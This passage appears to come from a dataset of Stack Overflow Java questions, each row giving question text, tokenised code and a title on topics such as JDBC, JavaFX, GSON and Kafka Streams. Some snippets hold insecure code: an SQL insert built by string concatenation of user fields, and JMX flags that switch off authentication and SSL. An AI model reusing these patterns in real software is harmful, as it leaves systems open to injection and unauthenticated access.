HashMultimap < Long , Record > multimap = HashMultimap.create ( ) ; long count = 0 ; for ( Record r : list ) { multimap.put ( r.getPel ( ) , r ) ; count++ ; if ( count == entryCnt ) break ; } multimap.keySet ( ) .forEach ( key - > { clo.apply ( key , new LinkedList < > ( multimap.get ( key ) ) ) ; } ) ; } catch ( MalformedURLException e ) { throw new CacheLoaderException ( `` Failed to load values from cache store . `` , e ) ; } System.out.println ( `` Loaded Cache '' ) ; } public static CouchDbConnector getDb ( ) throws MalformedURLException { HttpClient httpClient = new StdHttpClient.Builder ( ) .url ( `` server:1111/ '' ) .build ( ) ; CouchDbInstance dbInstance = new StdCouchDbInstance ( httpClient ) ; CouchDbConnector db = new StdCouchDbConnector ( `` ignite '' , dbInstance ) ; return db ; } }",Apache Ignite Availability Issue w/Custom CacheStoreAdapter +Java,"I come across this code line in a book and it said this is legal , but I do n't really understand though having googling.the code is : I just know that to create an array , it should be like this : Thanks !",Boolean [ ] ba [ ] ; int [ ] numberArray ; int numberArray [ ] ; int [ ] [ ] num2DArray ;,What is this array ? +Java,"This might be an age old problem and I am sure everyone has their own ways.Suppose I have some properties defined such asSuppose I have 100 different classes and places where I need to use these properties.Which one is good ( 1 ) I create a Util class that will load all properties and serve them using a key constantSuch as : Util is a singleton that loads all properties and keeps up on getInstance ( ) call.So wherever I need these properties , I can do steps above . ( 2 ) I create a meaningful Class to represent these properties ; say , ApplicationConfig and provide getters to get specific properties.So above code may look like : Note : The properties file as such will have only minor changes in the future.My personal choice is ( 2 ) - let me hear some comments ?","secret.user.id=usersecret.password=passwordwebsite.url=http : //stackoverflow.com Util myUtil = Util.getInstance ( ) ; String user = myUtil.getConfigByKey ( Constants.SECRET_USER_ID ) ; String password = myUtil.getConfigByKey ( Constants.SECRET_PASSWORD ) ; ..//getConfigByKey ( ) - inturns invokes properties.get ( .. ) doSomething ( user , password ) ApplicationConfig config = ApplicationConfig.getInstance ( ) ; doSomething ( config.getSecretUserId ( ) , config.getPassword ( ) ) ; //ApplicationConfig would have instance variables that are initialized during// getInstance ( ) after loading from properties file .",java Properties - to expose or not to expose ? +Java,"When launching a Java application with these options : Java uses an ephemeral port , which is very useful to avoid collisions.Is it possible to get the actual port ( or connection URL ) programmatically from within the application ?",-Dcom.sun.management.jmxremote-Dcom.sun.management.jmxremote.authenticate=false-Dcom.sun.management.jmxremote.ssl=false-Dcom.sun.management.jmxremote.port=0-Dcom.sun.management.jmxremote.local.only=false,"When using a JMX server with ephemeral port , how to get the server port number ?" +Java,"I 've see this sort of thing in Java code quite often ... Is this reasonable , or cavalier ? When would I care that closing a file failed ? What are the implications of ignoring this exception ?",try { fileStream.close ( ) ; } catch ( IOException ioe ) { /* Ignore . We do not care . */ },Why would I care about IOExceptions when a file is closed ? +Java,"My code is supposed to find out the users location and place a marker on the map upon entering the application . My location value always equals null , and never receives a value .","if ( location ! = null ) { lat = ( int ) ( location.getLatitude ( ) * 1E6 ) ; longi = ( int ) ( location.getLongitude ( ) * 1E6 ) ; GeoPoint ourLocation = new GeoPoint ( lat , longi ) ; OverlayItem overlayItem = new OverlayItem ( ourLocation , `` AYO '' , `` Whats good yo '' ) ; CustomPinpoint custom = new CustomPinpoint ( d , CampusMap.this ) ; custom.insertPinpoint ( overlayItem ) ; overlayList.add ( custom ) ; } else { Toast.makeText ( CampusMap.this , `` Could n't get provider '' , Toast.LENGTH_SHORT ) .show ( ) ; } }",Google maps api not placing marker at fine location +Java,"How do I make this : The following is my code that I have written to try to accomplish the above , but it is not working as expected :",*******-***** -- -*** -- -- -* -- -- -*** -- -*****-******* public static void stars ( /*int jmlBaris*/ ) { for ( int i = 7 ; i > = 1 ; i-=2 ) { for ( int j = 1 ; j < = i ; j++ ) { System.out.print ( `` * '' ) ; } System.out.println ( `` '' ) ; } for ( int i = 1 ; i < = 7 ; i+=2 ) { for ( int j = 1 ; j < = i ; j++ ) { System.out.print ( `` * '' ) ; } System.out.println ( `` '' ) ; } } public static void main ( String [ ] args ) { stars ( ) ; } },Looping Algorithm +Java,I do n't know what is the error in this section of could please helphere is my codeand here is the errormy teamparnter wrote this code for MSSQL but I want now use it under Mysql SGBD I find this problem any suggestion please,"public void addEmploye ( Employe employe , Service service ) throws SQLException { int id_service = getServiceId ( service ) ; if ( nbrPersonnes ( employe.getCin ( ) ) ! =0 ) System.out.println ( `` Employe deja existant verifier le cin '' ) ; else { String SQL = `` insert into Employe ( post ) `` + `` values ( `` + `` ' '' +employe.getPost ( ) + '' ' ) '' + `` insert into Personne ( cin , nom , prenom , adresse , tel , email , password , id_directeur , id_employe , id_service ) '' + `` values ( ' '' +employe.getCin ( ) + '' ' , '' + `` ' '' +employe.getNom ( ) + '' ' , '' + `` ' '' +employe.getPrenom ( ) + '' ' , '' + `` ' '' +employe.getAdresse ( ) + '' ' , '' + `` ' '' +employe.getTel ( ) + '' ' , '' + `` ' '' +employe.getEmail ( ) + '' ' , '' + `` ' '' +employe.getPassword ( ) + '' ' , '' + `` 0 , '' + `` SELECT LAST_INSERT_ID ( ) FROM ` Personne ` , '' +id_service+ '' ) '' ; if ( id_service ! =0 ) try { stmt = con.createStatement ( ) ; rs = stmt.executeUpdate ( SQL ) ; } catch ( SQLException e ) { System.out.println ( `` addEmploye `` +e.toString ( ) ) ; } } } addEmploye com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException : You have an error in your SQL syntax ; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'insert into Personne ( cin , nom , prenom , adresse , tel , email , password , id_directeur , id_e ' at line 1addEmploye com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException : You have an error in your SQL syntax ; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'insert into Personne ( cin , nom , prenom , adresse , tel , email , password , id_directeur , id_e ' at line 1addEmploye com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException : You have an error in your SQL syntax ; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'insert into Personne ( cin , nom , prenom , adresse , tel , email , password , id_directeur , id_e ' at line 1addEmploye com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException : You have an error in your SQL syntax ; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'insert into Personne ( cin , nom , prenom , adresse , tel , email , password , id_directeur , id_e ' at line 1addEmploye com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException : You have an error in your SQL syntax ; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'insert into Personne ( cin , nom , prenom , adresse , tel , email , password , id_directeur , id_e ' at line 1addEmploye com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException : You have an error in your SQL syntax ; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'insert into Personne ( cin , nom , prenom , adresse , tel , email , password , id_directeur , id_e ' at line 1",SQL syntax error using jdbc +Java,I 'm trying to add a red border to selected table rows and the elements in the row are shifting.This is my css : This is a screenshot of how it looks like.How can I rectify this ? I 've tried changing the border insets but it does n't seem to have an effect.The code for creating the table is : The styles applied are :,".my-table .table-row-cell : filled : selected { -fx-border-color : red ; } -fx-background-insets : 0 , 1 ; < TableView styleClass= '' my-table '' editable= '' false '' > < columns > < TableColumn fx : id= '' columnNumber '' minWidth= '' 70 '' prefWidth= '' 70 '' sortable= '' false '' text= '' Solution '' / > < TableColumn fx : id= '' columnOne '' minWidth= '' 0 '' prefWidth= '' 40 '' sortable= '' false '' text= '' columnOne '' / > < TableColumn fx : id= '' columnTwo '' minWidth= '' 40 '' prefWidth= '' 40 '' sortable= '' false '' text= '' columnTwo '' / > < TableColumn fx : id= '' columnThree '' minWidth= '' 70 '' prefWidth= '' 70 '' sortable= '' false '' text= '' columnThree '' / > < TableColumn fx : id= '' columnFour '' minWidth= '' 40 '' prefWidth= '' 40 '' sortable= '' false '' text= '' columnFour '' / > < TableColumn fx : id= '' columnFive '' minWidth= '' 80 '' prefWidth= '' 80 '' sortable= '' false '' text= '' columnFive '' / > < TableColumn fx : id= '' columnSix '' minWidth= '' 80 '' prefWidth= '' 80 '' sortable= '' false '' text= '' columnSix '' / > < TableColumn fx : id= '' columnSeven '' minWidth= '' 80 '' prefWidth= '' 80 '' sortable= '' false '' text= '' columnSeven '' / > < TableColumn fx : id= '' columnEight '' minWidth= '' 180 '' prefWidth= '' 180 '' sortable= '' false '' text= '' columnEight '' / > < TableColumn fx : id= '' action '' minWidth= '' 100 '' prefWidth= '' 100 '' sortable= '' false '' text= '' '' / > < /columns > < /TableView > .table-view { -fx-table-cell-border-color : transparent ; }",Javafx Table row border causes shifting on elements within +Java,"I 'm trying to understand java byte code . I started with simple example : I compiled this class : And then I tried to a javap on the .class like this : which gave me this : I could able to make sense out of it , apart from this line : looking at my source and this byte code , looks like javac already done the operation of addition for this statement : and asking jvm to return that constant . Can some one correct me if my understanding is wrong ? Does javac performs the operation on compilation for + , - , * etc before it actually runs on the jvm ? If so how ?",public class Test { public static void main ( String args [ ] ) { System.out.println ( 2 + 1 ) ; } } javac Test.java javap -c Test Compiled from `` Test.java '' public class Test { public Test ( ) ; Code : 0 : aload_0 1 : invokespecial # 1 // Method java/lang/Object . `` < init > '' : ( ) V 4 : return public static void main ( java.lang.String [ ] ) ; Code : 0 : getstatic # 2 // Field java/lang/System.out : Ljava/io/PrintStream ; 3 : iconst_1 4 : invokevirtual # 3 // Method java/io/PrintStream.println : ( I ) V 7 : return } public static void main ( java.lang.String [ ] ) ; . . . 3 : iconst_1 . . . 2+1,When does the binary operators execution happen in Java ? +Java,"I am trying to use Pagination with EntityManager.createNativeQuery ( ) . Below is the skeleton code that I am using : When pageNumber is 0 ( first page ) , I get the expected List of BigDecimals : But as soon as pageNumber > 0 ( example , second page ) , I get a List of Objects , and each object in this list seems to contain two BigDecimals , the first of which contains the value from the db , and the second BigDecimal seems to be the position of this row.and obviously I get this exceptionjava.lang.ClassCastException : class [ Ljava.lang.Object ; can not be cast to class java.math.BigDecimalCan someone please explain this discrepancy , and how this can be fixed to always return a List of BigDecimals ? Thank you.Update-1 : I have created a sample project to reproduce this issue . I was able to reproduce this issue only with an Oracle database . With H2 database , it worked fine , and I consistently got a list of BigDecimals irrelevant of the page number.Update-2 : I have also created a sample project with H2 where it works without this issue .",var query = em.createNativeQuery ( `` select distinct id from ... group by ... having ... '' ) ; List < BigDecimal > results = query .setMaxResults ( pageSize ) .setFirstResult ( pageNumber * pageSize ) .getResultList ( ) ;,EntityManager.createNativeQuery returning list of objects instead of list of BigDecimal when using Pagination +Java,"I have some events , where each of them has a probability to happen , and a weight if they do . I want to create all possible combinations of probabilities of events , with the corresponding weights . In the end , I need them sorted in weight order . It is like generating a probability tree , but I only care about the resulting leaves , not which nodes it took to get them . I do n't need to look up specific entries during the creation of the end result , just to create all the values and sort them by weight.There will be only about 5-15 events , but since there is 2^n resulting possibilities with n events , and this is to be done very often , I don ’ t want it to take unnecessarily long time . Speed is much more important than the amount of storage used.The solution I came up with works but is slow . Any idea for a quicker solution or some ideas for improvement ?","class ProbWeight { double prob ; double eventWeight ; public ProbWeight ( double aProb , double aeventWeight ) { prob = aProb ; eventWeight = aeventWeight ; } public ProbWeight ( ProbWeight aCellProb ) { prob = aCellProb.getProb ( ) ; eventWeight = aCellProb.geteventWeight ( ) ; } public double getProb ( ) { return prob ; } public double geteventWeight ( ) { return eventWeight ; } public void doesHappen ( ProbWeight aProb ) { prob*=aProb.getProb ( ) ; eventWeight += aProb.geteventWeight ( ) ; } public void doesNotHappen ( ProbWeight aProb ) { prob*= ( 1-aProb.getProb ( ) ) ; } } //Data generation for testing List < ProbWeight > dataList = new ArrayList < ProbWeight > ( ) ; for ( int i =0 ; i < 5 ; i++ ) { ProbWeight prob = new ProbWeight ( Math.random ( ) , 10*Math.random ( ) , i ) ; dataList.add ( prob ) ; } //The list where the results will end up List < ProbWeight > resultingProbList = new ArrayList < ProbWeight > ( ) ; // a temporaty list to avoid modifying a list while looping through it List < ProbWeight > tempList = new ArrayList < ProbWeight > ( ) ; resultingProbList.add ( dataList.remove ( 0 ) ) ; for ( ProbWeight data : dataList ) { //for each event //go through the already created event combinations and create two new for each for ( ProbWeight listed : resultingProbList ) { ProbWeight firstPossibility = new ProbWeight ( listed ) ; ProbWeight secondPossibility = new ProbWeight ( listed ) ; firstPossibility.doesHappen ( data ) ; secondPossibility.doesNotHappen ( data ) ; tempList.add ( firstPossibility ) ; tempList.add ( secondPossibility ) ; } resultingProbList = new ArrayList < ProbWeight > ( tempList ) ; } // Then sort the list by weight using sort and a comparator",Time efficient implementation of generating probability tree and then sorting the results +Java,"Is there any way the following for loop could be converted to use an IntStream ? I tried as following very simply : But it outputs the following error : incompatible types : boolean can not be converted to IntConsumer IntStream.range ( 1,5 ) .forEach ( nums.add ( n.nextInt ( 45 ) +1 ) ) ;","for ( int i =1 ; i < =5 ; i++ ) { nums.add ( n.nextInt ( 45 ) +1 ) ; } IntStream.range ( 1,5 ) .forEach ( nums.add ( n.nextInt ( 45 ) +1 ) ) ;",Can this for loop be converted to an IntStream ? +Java,"Some time ago I read about JavaTM Scripting API , but I could not find information about which language-interpreters ( excepting JS ) Oracle JVM implements . Where can I find a full list ? Or does the JVM not interpret anything but JavaScript by default ?",ScriptEngineManager factory = new ScriptEngineManager ( ) ; ScriptEngine engine = factory.getEngineByName ( `` JavaScript '' ) ; // what else ?,Which scripting language interpreters does JDK contain ? +Java,"This might be a stupid question , but does it matter if you iniate a new object in the constructor for a class or if you have the iniation of the object/variables in the class body instead ? versus",public class MyFrame extends JFrame { private JButton button1 ; private JButton button2 ; public MyFrame ( ) { button1 = new JButton ( `` Button1 '' ) ; button2 = new JButton ( `` Button2 '' ) ; } } public class MyFrame extends JFrame { private JButton button1 = new JButton ( `` Button1 '' ) ; private JButton button2 = new JButton ( `` Button2 '' ) ; public MyFrame ( ) { } },The placement of the new operator in a constructor or in the class body +Java,"I have this project I 'm working on and basically this is what I would like to achieve . This is what I have : So the step builder pattern forces the user to use the withValue ( ) method and the withAnotherValue ( ) method in that order . The method field ( ) is optional and can be used as many times as you want.I followed this website for example http : //www.svlada.com/step-builder-pattern/So what I would like to achieve is this : So in the builder ( ) method you 'd put an enum type and based on the enum you 'd have a different set of methods appear . So for ROCK the withValue ( ) , withAnotherValue ( ) and withColour ( ) are now mandatory . But for STONE withWeight ( ) , withAnotherValue ( ) and withColour ( ) are mandatory.I something like this possible ? I have been trying for the past two days to figure this out but I just ca n't seem to get it to give specific methods for each type . It just shows all the methods in the Builder . Any thoughts and help is much appreciated . Code : EnumParameterTypeMyObject","MyObject obj = MyObject.builder ( ) .withValue ( `` string '' ) .withAnotherValue ( `` string '' ) .build ( ) ; MyObject obj = MyObject.builder ( ) .withValue ( `` string '' ) .withAnotherValue ( `` string '' ) .withField ( `` key '' , `` value '' ) .build ( ) ; MyObject obj = MyObject.builder ( Type.ROCK ) .withColour ( `` blue '' ) .withValue ( `` string '' ) .withAnotherValue ( `` string '' ) .build ( ) ; MyObject obj = MyObject.builder ( Type.STONE ) .withWeight ( `` heavy '' ) .withValue ( `` string '' ) .withAnotherValue ( `` string '' ) .withField ( `` key '' , `` value '' ) .build ( ) ; public enum Type implements ParameterType < Type > { ROCK , STONE } interface ParameterType < T > { } public class MyObject implements Serializable { private static final long serialVersionUID = -4970453769180420689L ; private List < Field > fields = new ArrayList < > ( ) ; private MyObject ( ) { } public interface Type { Value withValue ( String value ) ; } public interface Value { Build withAnotherValue ( String anotherValue ) ; } public interface Build { MyObject build ( ) ; } public Type builder ( Parameter type ) { return new Builder ( ) ; } public static class Builder implements Build , Type , Value { private final List < Field > fields = new ArrayList < > ( ) ; @ Override public Build withAnotherValue ( String anotherValue ) { fields.add ( new Field ( `` AnotherValue '' , anotherValue ) ) ; return this ; } @ Override public Value withValue ( String value ) { fields.add ( new Field ( `` Value '' , value ) ) ; return this ; } @ Override public MyObject build ( ) { MyObject myObject = new MyObject ( ) ; myObject.fields.addAll ( this.fields ) ; return myObject ; } } }",Step builder pattern using delegation and enums ? +Java,"I 've been experiencing with SWT ( GUI lib Eclipse uses ) and I 'm wanting to create the following using Swing.The previous screenshot is done by the following code using SWTI was wondering , how could I possible emulate this in Swing ? P.S The border around this Shell is currently the native border for my windows color scheme , I do n't wan na just create a MatteBorder and emulate the color , I 'd like to use the native border for windows .","public static void main ( String [ ] args ) { Display display = new Display ( ) ; final Shell shell = new Shell ( display , SWT.RESIZE ) ; shell.open ( ) ; while ( ! shell.isDisposed ( ) ) { if ( ! display.readAndDispatch ( ) ) display.sleep ( ) ; } display.dispose ( ) ; }",Emulate This SWT Shell in Swing +Java,"I have this situation : There are a Java class and a Kotlin class , which inherits from it and has to override method `` overrideMe '' But Kotlin does n't allow this behaviour . 'public ' function exposes its 'protected ( in A ) ' parameter type BIs there any way how to resolve this one ? P.S . It 's not just a synthetic case - I faced this problem when I tried to implement custom Spring AmqpAppender and to override it 's postProcessMessageBeforeSend method .",public class A { public void overrideMe ( B param ) { //TODO : override me in Kotlin ! } protected static class B { } } class K : A ( ) { override fun overrideMe ( param : B ) { println ( `` Wow ! '' ) } },Inheritance from Java class with a public method accepting a protected class in Kotlin +Java,Is : equivalent to :,x -= y ; x = x - y ;,Java : += equivalence +Java,"I 'm trying to parse a JSON with GSON library on my Android App . I could parse correctly a JSON Array , but now I need to parse another json , with this estructure : And a Articles.class } And , on my main activity I try to get all the info whith this : And works ok , but if I want to get Articles info , the values are null , and I do n't know how can I get it.I try with something like that : And I try to use a ArticlesWrapper , but I do n't know how to do it exactly.But I think I forgetting something ... and I do n't know what.In another part of the app , I deserialize correctly a JSON because it is an Array , but on this case I do n't know how can I get all the data correctly.If you need more information , I will provide you ! .Thanks !","{ `` articles '' : [ { `` article '' : { `` articleId '' : 1 , `` articleName '' : `` Bocadillo de calamares '' , `` merchantId '' : 2 , `` price '' : 3.5 } , `` computable '' : true , `` orderArticleId '' : 3157 , `` orderId '' : 203 , `` price '' : 3.5 , `` requestedDate '' : `` 2012-11-19 13:15:20 '' , `` shared '' : true , `` status '' : `` AS01_INITIAL '' } , { `` article '' : { `` articleId '' : 3 , `` articleName '' : `` Desayuno '' , `` merchantId '' : 2 , `` price '' : 2.2 } , `` computable '' : true , `` orderArticleId '' : 3158 , `` orderId '' : 203 , `` price '' : 0 , `` requestedDate '' : `` 2012-11-19 13:17:30 '' , `` shared '' : true , `` status '' : `` AS01_INITIAL '' } , { `` article '' : { `` articleId '' : 2 , `` articleName '' : `` Café '' , `` merchantId '' : 2 , `` price '' : 1.1 } , `` computable '' : true , `` orderArticleId '' : 3156 , `` orderId '' : 203 , `` price '' : 1.1 , `` requestedDate '' : `` 2012-11-19 13:15:20 '' , `` shared '' : true , `` status '' : `` AS01_INITIAL '' } , { `` article '' : { `` articleId '' : 1 , `` articleName '' : `` Bocadillo de calamares '' , `` merchantId '' : 2 , `` price '' : 3.5 } , `` computable '' : true , `` orderArticleId '' : 3155 , `` orderId '' : 203 , `` price '' : 3.5 , `` requestedDate '' : `` 2012-11-19 12:40:17 '' , `` shared '' : true , `` status '' : `` AS01_INITIAL '' } ] , `` comment '' : null , `` creationDate '' : `` 2012-11-19 12:06:41 '' , `` customer '' : { `` creationDate '' : 1353321506000 , `` customerId '' : 152 , `` devices '' : [ { `` customerId '' : 152 , `` deviceId '' : `` 2000 '' , `` phone '' : null } ] , `` image '' : false , `` mail '' : null , `` name '' : null , `` password '' : null } , `` finishDate '' : null , `` group '' : 0 , `` groupOrders '' : [ ] , `` location '' : { `` location '' : `` Table 1 '' , `` locationId '' : 1 , `` shopId '' : 2 } , `` orderId '' : 203 , `` parentOrderId '' : 192 , `` score '' : null , `` shopId '' : 2 , `` status '' : `` OS01_INITIAL '' , `` ticketUrl '' : null , `` tip '' : null , `` total '' : 0 , `` totalArticles '' : 0 , `` type '' : `` BILL '' } I have a Order.class like this : public class Order { private final String orderId ; ( ... . ) private final ArrayList < Articles > articles ; private final String group ; public Order ( ) { orderId = `` '' ; ( ... . ) articles = new ArrayList < Articles > ( ) ; group = `` '' ; } public String getOrderId ( ) { return orderId ; } ( ... All getters for each element ) public ArrayList < Articles > getArticles ( ) { return articles ; } } public class Articles { private final String orderArticleId ; ( ... ) private final ArrayList < Article > article ; public Articles ( ) { orderArticleId = `` '' ; ( ... . ) article = new ArrayList < Article > ( ) ; } ; public String getPrice ( ) { return price ; } ( ... .All getters for each element ) public ArrayList < Article > getArticle ( ) { return article ; } final Gson gson = new Gson ( ) ; Order o = gson.fromJson ( jsonData , Order.class ) ; System.out.println ( `` - `` + o.getOrderId ( ) ) ; Type collectionType = new TypeToken < List < Merchants > > ( ) { } .getType ( ) ; data = gson.fromJson ( response , collectionType ) ;",Trying to parse JSON with GSON +Java,I 'm looking at the explanation of the visitor pattern here which shows the following code : From the standpoint of JavaScript developer the accept method seems redundant since the code could be written like this : Am I right to assume that this wo n't work because the compiler does n't know which overloaded visit method of the visitor to execute ? As I understand the compiler understands which visit method to execute on the visitor with accept since it can match the type of this passed to the visitor.visit ( this ) method here : Edit : Just found that in addition to the great answers here this answer also provides a lot of useful details .,public class ShoppingCart { public double calculatePostage ( ) { PostageVisitor visitor = new PostageVisitor ( ) ; for ( Visitable item : items ) { item.accept ( visitor ) ; } public class PostageVisitor implements Visitor { public void visit ( Book book ) { public class Book implements Visitable { public void accept ( Visitor vistor ) { visitor.visit ( this ) ; } for ( Visitable item : items ) { // directly call visitor passing an item instead of doing so through ` accept ` method visitor.visit ( item ) ; } public void accept ( Visitor vistor ) { visitor.visit ( this ) ; },What is the need for ` accept ` method in Visitor pattern +Java,"I have an html file which contains many elements : As can be seen , 1 div has many divs in it . Now I want to create a css file that will contain all the styling of this html page ( need not be same ) . Have to write something in java code . I have the DOM object of this file available to me.Basically , I want all the styles to be removed from here and will be kept under a CSS file like for div with id = imgElt11289447233738dIi15v css will be : I am do n't till this part but since I do n't know how many levels of hierarchy of elements will be there is there any way to do the same for all child elements as well ? I used the following codeEdit : got to know that some regular expression may help by getting a string of SAX parser object and and using regular expression on it ... any idea ? any one ? how to implement it","< div > < div id= '' imgElt11289447233738dIi15v '' style= '' BORDER-RIGHT : 0px ; BORDER-TOP : 0px ; Z-INDEX : 1 ; LEFT : 795px ; BORDER-LEFT : 0px ; WIDTH : 90px ; CURSOR : auto ; BORDER-BOTTOM : 0px ; POSITION : absolute ; TOP : 186px ; HEIGHT : 93px '' lineid= '' lineid '' y2= '' 279 '' y1= '' 186 '' x2= '' 885 '' x1= '' 795 '' > < img style= '' WIDTH : 90px ; HEIGHT : 93px '' height= '' 21 '' alt= '' Image '' src= '' ../images//k03.jpg '' width= '' 25 '' name= '' imgElt11289447233738dIi15vNI1m6G '' tag= '' img '' > < /img > < /div > < div id= '' imgElt11288263284216dIi15v '' style= '' BORDER-RIGHT : 0px ; BORDER-TOP : 0px ; Z-INDEX : 1 ; LEFT : 660px ; BORDER-LEFT : 0px ; WIDTH : 147px ; CURSOR : auto ; BORDER-BOTTOM : 0px ; POSITION : absolute ; TOP : 1964px ; HEIGHT : 22px '' lineid= '' lineid '' y2= '' 1986 '' y1= '' 1964 '' x2= '' 807 '' x1= '' 660 '' > < img style= '' WIDTH : 147px ; HEIGHT : 22px '' height= '' 21 '' alt= '' Image '' src= '' ../images//k03.jpg '' width= '' 25 '' name= '' imgElt11288263284216dIi15vNI1m6G '' tag= '' img '' > < /img > < /div > < div id= '' txtElt11288262779851dIi15v '' style= '' BORDER-RIGHT : 0px ; BORDER-TOP : 0px ; Z-INDEX : 2872735 ; LEFT : 250px ; BORDER-LEFT : 0px ; WIDTH : 95px ; CURSOR : auto ; BORDER-BOTTOM : 0px ; POSITION : absolute ; TOP : 1514px ; HEIGHT : 18px '' selectedindex= '' 0 '' pos_rel= '' false '' lineid= '' lineid '' y2= '' 1532 '' y1= '' 1514 '' x2= '' 345 '' x1= '' 250 '' tag= '' div '' > < p > < strong > < font face= '' arial , helvetica , sans-serif '' size= '' 2 '' > Course Name < /font > < /strong > < /p > < /div > < div id= '' txtElt11288262309675dIi15v '' style= '' BORDER-RIGHT : 0px ; BORDER-TOP : 0px ; Z-INDEX : 1565881 ; LEFT : 40px ; BORDER-LEFT : 0px ; WIDTH : 430px ; CURSOR : auto ; BORDER-BOTTOM : 0px ; POSITION : absolute ; TOP : 1464px ; HEIGHT : 34px '' selectedindex= '' 0 '' pos_rel= '' false '' lineid= '' lineid '' y2= '' 1498 '' y1= '' 1464 '' x2= '' 470 '' x1= '' 40 '' tag= '' div '' > < p > < strong > < font face= '' arial , helvetica , sans-serif '' size= '' 2 '' tag= '' font '' > 16 . Please write below the Course Name in order of preference. < /font > < /strong > < /p > < p tag= '' p '' > < strong > < font face= '' Arial '' size= '' 2 '' tag= '' font '' > & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; ( Please see the & quot ; Instructions to Candidate & quot ; for list of courses ) < /font > < /strong > < /p > < /div > < /div > # imgElt11289447233738dIi15v { BORDER-RIGHT : 0px ; BORDER-TOP : 0px ; Z-INDEX : 1 ; LEFT : 795px ; BORDER-LEFT : 0px ; WIDTH : 90px ; CURSOR : auto ; BORDER-BOTTOM : 0px ; POSITION : absolute ; TOP : 186px ; HEIGHT : 93px } public static Document getStyleInCSSfile ( Document aoDoc , String aoPathToWrite , String aoFileName ) throws ApplicationException { String loValue = null ; String loID = null ; String lsContent = `` '' ; Element loRoot = aoDoc.getRootElement ( ) ; List loTempElementList = loRoot.getChildren ( ) ; int liCounter ; for ( liCounter = 0 ; liCounter < loTempElementList.size ( ) ; liCounter++ ) { Element loTemplateEle = ( Element ) loTempElementList.get ( liCounter ) ; String loId=loTemplateEle.getAttribute ( `` id '' ) .getValue ( ) ; loID = loTemplateEle.getAttributeValue ( `` id '' ) ; if ( null ! = loID ) { loValue = loTemplateEle.getAttributeValue ( `` style '' ) ; if ( loValue ! =null & & loValue.trim ( ) .length ( ) > 0 ) { loTemplateEle.removeAttribute ( `` style '' ) ; lsContent = lsContent.concat ( `` # '' +loID+ '' { `` +loValue+ '' } \n '' ) ; } } } SaveFormOnLocalUtil.writeToFile ( aoPathToWrite , aoFileName , lsContent ) ; return aoDoc ; }",Creating CSS from a HTML file +Java,I 'm using spEL 4.0.0.RELEASE to bind http parameters to java objects.I notice some strange problem while using expression parser multiple time : each invocation takes more time ( constant ) . This happens only on java 8 . On java 7 all ok.Here is example code : jdk 8 output : java 7 output : Is this bug or feature ? Is there any workaround ?,"package ru.tersys.test ; import java.util.ArrayList ; import java.util.Calendar ; import java.util.Date ; import org.springframework.expression.ExpressionParser ; import org.springframework.expression.spel.standard.SpelExpressionParser ; import org.springframework.expression.spel.support.StandardEvaluationContext ; public class Test { public static void main ( String [ ] args ) { Test instance = new Test ( ) ; Table t = new Table ( ) ; Column c = new Column ( ) ; t.getColumns ( ) .add ( c ) ; int counter = 10 ; while ( counter -- > 0 ) { instance.doTest ( `` t '' , t ) ; } } ExpressionParser parser = new SpelExpressionParser ( ) ; StandardEvaluationContext context = new StandardEvaluationContext ( ) ; public void doTest ( String prefix , Object obj ) { Date d = Calendar.getInstance ( ) .getTime ( ) ; int counter = 0 ; String el = `` t.columns [ 0 ] .name '' ; context.setVariable ( prefix , obj ) ; String prefixWithDot = prefix + `` . `` ; int count = 400 ; while ( count -- > 0 ) { if ( el.startsWith ( prefixWithDot ) ) { parser.parseExpression ( `` # '' +el ) .setValue ( context , `` testColumnName '' ) ; counter++ ; } } System.out.println ( `` bind duration sec = `` + ( Calendar.getInstance ( ) .getTime ( ) .getTime ( ) - d.getTime ( ) ) /1000 + `` param count = `` + counter ) ; } static class Table { public Table ( ) { columns = new ArrayList < > ( ) ; } public ArrayList < Column > getColumns ( ) { return columns ; } public void setColumns ( ArrayList < Column > columns ) { this.columns = columns ; } private ArrayList < Column > columns ; } static class Column { public Column ( ) { } private String name ; public String getName ( ) { return name ; } public void setName ( String name ) { this.name = name ; } } } bind duration sec = 1 param count = 400bind duration sec = 3 param count = 400bind duration sec = 5 param count = 400bind duration sec = 7 param count = 400bind duration sec = 9 param count = 400bind duration sec = 12 param count = 400bind duration sec = 14 param count = 400bind duration sec = 16 param count = 400bind duration sec = 19 param count = 400bind duration sec = 22 param count = 400 bind duration sec = 0 param count = 400bind duration sec = 0 param count = 400bind duration sec = 0 param count = 400bind duration sec = 0 param count = 400bind duration sec = 0 param count = 400bind duration sec = 0 param count = 400bind duration sec = 0 param count = 400bind duration sec = 0 param count = 400bind duration sec = 0 param count = 400bind duration sec = 0 param count = 400",java 8 spring spEL repeatable binding slows each iterations +Java,"This issue is now solved on Message HubI am having some trouble creating a KTable in Kafka . I am new to Kafka , which is probably the root of my problem , but I thought I could ask here anyway . I have a project where I would like to keep track of different IDs by counting their total occurrence . I am using Message Hub on IBM Cloud to manage my topics , and it has worked splendid so far.I have a topic on Message Hub that produces messages like { `` ID '' : '' 123 '' , '' TIMESTAMP '' : '' 1525339553 '' , `` BALANCE '' : '' 100 '' , `` AMOUNT '' : '' 4 '' } , for now , the only key of relevance is ID.My Kafka code , along with the Streams configuration , looks like this : When I run the code , I get the following error ( s ) : Exception in thread `` KTableTest-e2062d11-0b30-4ed0-82b0-00d83dcd9366- > StreamThread-1 '' org.apache.kafka.streams.errors.StreamsException : Could not create topic KTableTest-KSTREAM-AGGREGATE-STATE-STORE-0000000003-repartition.Followed by : Caused by : java.util.concurrent.ExecutionException : org.apache.kafka.common.errors.PolicyViolationException : Invalid configuration : { segment.index.bytes=52428800 , segment.bytes=52428800 , cleanup.policy=delete , segment.ms=600000 } . Only allowed configs : [ retention.ms , cleanup.policy ] I have no idea why this error occurs , and what could be done about it . Is the way I have built the KStream and KTable incorrect somehow ? Or perhaps the message hub on bluemix ? Solved : Adding an 